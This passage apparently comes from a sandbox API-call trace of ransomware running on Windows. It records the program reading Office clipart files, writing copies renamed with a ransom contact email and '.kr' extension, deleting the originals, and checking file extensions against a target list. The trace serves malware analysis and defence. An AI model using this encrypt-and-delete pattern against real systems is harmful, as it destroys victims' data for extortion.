nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0xbc4, lpOverlapped=0x0) returned 1 [0107.232] WriteFile (in: hFile=0x340, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xbd0, lpOverlapped=0x0) returned 1 [0107.233] ReadFile (in: hFile=0x36c, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0107.234] WriteFile (in: hFile=0x340, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xec, lpOverlapped=0x0) returned 1 [0107.234] SetEndOfFile (hFile=0x340) returned 1 [0107.530] CloseHandle (hObject=0x340) returned 1 [0107.531] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0107.531] SetEndOfFile (hFile=0x36c) returned 1 [0107.532] CloseHandle (hObject=0x36c) returned 1 [0107.532] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0107.533] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf")) returned 1 [0107.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0107.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0107.533] lstrlenW (lpString=".doc") returned 4 [0107.533] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.533] lstrlenW (lpString=".docx") returned 5 [0107.533] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0107.533] lstrlenW (lpString=".pdf") returned 4 [0107.533] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.533] lstrlenW (lpString=".xls") returned 4 [0107.533] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.533] lstrlenW (lpString=".xlsx") returned 5 [0107.534] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0107.534] lstrlenW (lpString=".ppt") returned 4 [0107.534] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0107.534] lstrlenW (lpString=".zip") returned 4 [0107.534] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.534] lstrlenW (lpString=".rar") returned 4 [0107.534] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.534] lstrlenW (lpString=".bz2") returned 4 [0107.534] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.534] lstrlenW (lpString=".7z") returned 3 [0107.534] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0107.534] lstrlenW (lpString=".dbf") returned 4 [0107.534] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0107.534] lstrlenW (lpString=".1cd") returned 4 [0107.534] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0107.534] lstrlenW (lpString=".jpg") returned 4 [0107.534] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0107.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0107.534] lstrlenW (lpString=".doc") returned 4 [0107.535] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.535] lstrlenW (lpString=".docx") returned 5 [0107.535] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0107.535] lstrlenW (lpString=".pdf") returned 4 [0107.535] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.535] lstrlenW (lpString=".xls") returned 4 [0107.535] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.535] lstrlenW (lpString=".xlsx") returned 5 [0107.535] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0107.535] lstrlenW (lpString=".ppt") returned 4 [0107.535] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0107.535] lstrlenW (lpString=".zip") returned 4 [0107.535] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.535] lstrlenW (lpString=".rar") returned 4 [0107.535] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.535] lstrlenW (lpString=".bz2") returned 4 [0107.535] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.535] lstrlenW (lpString=".7z") returned 3 [0107.535] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0107.535] lstrlenW (lpString=".dbf") returned 4 [0107.535] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0107.535] lstrlenW (lpString=".1cd") returned 4 [0107.535] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0107.536] lstrlenW (lpString=".jpg") returned 4 [0107.536] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.536] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0107.536] lstrlenW (lpString="AN02559_.WMF") returned 12 [0107.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0107.537] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=6632) returned 1 [0107.537] CloseHandle (hObject=0x36c) returned 1 [0107.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf")) returned 0x220 [0107.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0107.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0107.538] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0107.538] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0107.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0107.539] GetLastError () returned 0x0 [0107.539] ReadFile (in: hFile=0x36c, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x19e8, lpOverlapped=0x0) returned 1 [0107.540] WriteFile (in: hFile=0x340, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x19f0, lpOverlapped=0x0) returned 1 [0107.542] ReadFile (in: hFile=0x36c, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0107.542] WriteFile (in: hFile=0x340, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xec, lpOverlapped=0x0) returned 1 [0107.542] SetEndOfFile (hFile=0x340) returned 1 [0107.542] CloseHandle (hObject=0x340) returned 1 [0107.543] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0107.543] SetEndOfFile (hFile=0x36c) returned 1 [0107.545] CloseHandle (hObject=0x36c) returned 1 [0107.545] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0107.545] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf")) returned 1 [0107.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0107.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0107.546] lstrlenW (lpString=".doc") returned 4 [0107.546] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.546] lstrlenW (lpString=".docx") returned 5 [0107.546] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0107.546] lstrlenW (lpString=".pdf") returned 4 [0107.546] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.546] lstrlenW (lpString=".xls") returned 4 [0107.546] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.546] lstrlenW (lpString=".xlsx") returned 5 [0107.546] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0107.546] lstrlenW (lpString=".ppt") returned 4 [0107.546] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0107.546] lstrlenW (lpString=".zip") returned 4 [0107.546] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.546] lstrlenW (lpString=".rar") returned 4 [0107.546] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.546] lstrlenW (lpString=".bz2") returned 4 [0107.546] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.546] lstrlenW (lpString=".7z") returned 3 [0107.547] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0107.547] lstrlenW (lpString=".dbf") returned 4 [0107.547] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0107.547] lstrlenW (lpString=".1cd") returned 4 [0107.547] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0107.547] lstrlenW (lpString=".jpg") returned 4 [0107.547] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0107.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0107.547] lstrlenW (lpString=".doc") returned 4 [0107.547] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.547] lstrlenW (lpString=".docx") returned 5 [0107.547] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0107.547] lstrlenW (lpString=".pdf") returned 4 [0107.547] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.547] lstrlenW (lpString=".xls") returned 4 [0107.547] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.547] lstrlenW (lpString=".xlsx") returned 5 [0107.547] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0107.547] lstrlenW (lpString=".ppt") returned 4 [0107.547] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0107.548] lstrlenW (lpString=".zip") returned 4 [0107.548] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.548] lstrlenW (lpString=".rar") returned 4 [0107.548] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.548] lstrlenW (lpString=".bz2") returned 4 [0107.548] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.548] lstrlenW (lpString=".7z") returned 3 [0107.548] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0107.548] lstrlenW (lpString=".dbf") returned 4 [0107.548] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0107.548] lstrlenW (lpString=".1cd") returned 4 [0107.548] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0107.548] lstrlenW (lpString=".jpg") returned 4 [0107.548] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.548] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0107.548] lstrlenW (lpString="AN02724_.WMF") returned 12 [0107.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0107.549] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=2108) returned 1 [0107.549] CloseHandle (hObject=0x36c) returned 1 [0107.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf")) returned 0x220 [0107.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0107.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0107.549] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0107.550] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0107.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0107.550] GetLastError () returned 0x0 [0107.550] ReadFile (in: hFile=0x36c, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x83c, lpOverlapped=0x0) returned 1 [0107.552] WriteFile (in: hFile=0x340, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x840, lpOverlapped=0x0) returned 1 [0107.553] ReadFile (in: hFile=0x36c, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0107.553] WriteFile (in: hFile=0x340, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xec, lpOverlapped=0x0) returned 1 [0107.554] SetEndOfFile (hFile=0x340) returned 1 [0107.554] CloseHandle (hObject=0x340) returned 1 [0107.555] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0107.555] SetEndOfFile (hFile=0x36c) returned 1 [0107.556] CloseHandle (hObject=0x36c) returned 1 [0107.556] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0107.556] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf")) returned 1 [0107.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0107.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0107.557] lstrlenW (lpString=".doc") returned 4 [0107.557] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.557] lstrlenW (lpString=".docx") returned 5 [0107.557] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0107.557] lstrlenW (lpString=".pdf") returned 4 [0107.557] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.557] lstrlenW (lpString=".xls") returned 4 [0107.557] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.557] lstrlenW (lpString=".xlsx") returned 5 [0107.557] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0107.557] lstrlenW (lpString=".ppt") returned 4 [0107.557] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0107.557] lstrlenW (lpString=".zip") returned 4 [0107.558] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.558] lstrlenW (lpString=".rar") returned 4 [0107.558] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.558] lstrlenW (lpString=".bz2") returned 4 [0107.558] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.558] lstrlenW (lpString=".7z") returned 3 [0107.558] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0107.558] lstrlenW (lpString=".dbf") returned 4 [0107.558] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0107.558] lstrlenW (lpString=".1cd") returned 4 [0107.558] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0107.558] lstrlenW (lpString=".jpg") returned 4 [0107.558] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0107.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0107.558] lstrlenW (lpString=".doc") returned 4 [0107.558] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.558] lstrlenW (lpString=".docx") returned 5 [0107.558] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0107.558] lstrlenW (lpString=".pdf") returned 4 [0107.558] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.559] lstrlenW (lpString=".xls") returned 4 [0107.559] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.559] lstrlenW (lpString=".xlsx") returned 5 [0107.559] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0107.559] lstrlenW (lpString=".ppt") returned 4 [0107.559] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0107.559] lstrlenW (lpString=".zip") returned 4 [0107.559] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.559] lstrlenW (lpString=".rar") returned 4 [0107.559] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.559] lstrlenW (lpString=".bz2") returned 4 [0107.559] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.559] lstrlenW (lpString=".7z") returned 3 [0107.559] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0107.559] lstrlenW (lpString=".dbf") returned 4 [0107.559] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0107.559] lstrlenW (lpString=".1cd") returned 4 [0107.559] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0107.559] lstrlenW (lpString=".jpg") returned 4 [0107.559] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.560] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0107.560] lstrlenW (lpString="AN03500_.WMF") returned 12 [0107.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0107.560] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=9240) returned 1 [0107.560] CloseHandle (hObject=0x36c) returned 1 [0107.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf")) returned 0x220 [0107.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0107.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0107.561] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0107.561] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0107.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0107.562] GetLastError () returned 0x0 [0107.562] ReadFile (in: hFile=0x36c, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x2418, lpOverlapped=0x0) returned 1 [0107.911] WriteFile (in: hFile=0x340, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x2420, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x2420, lpOverlapped=0x0) returned 1 [0107.912] ReadFile 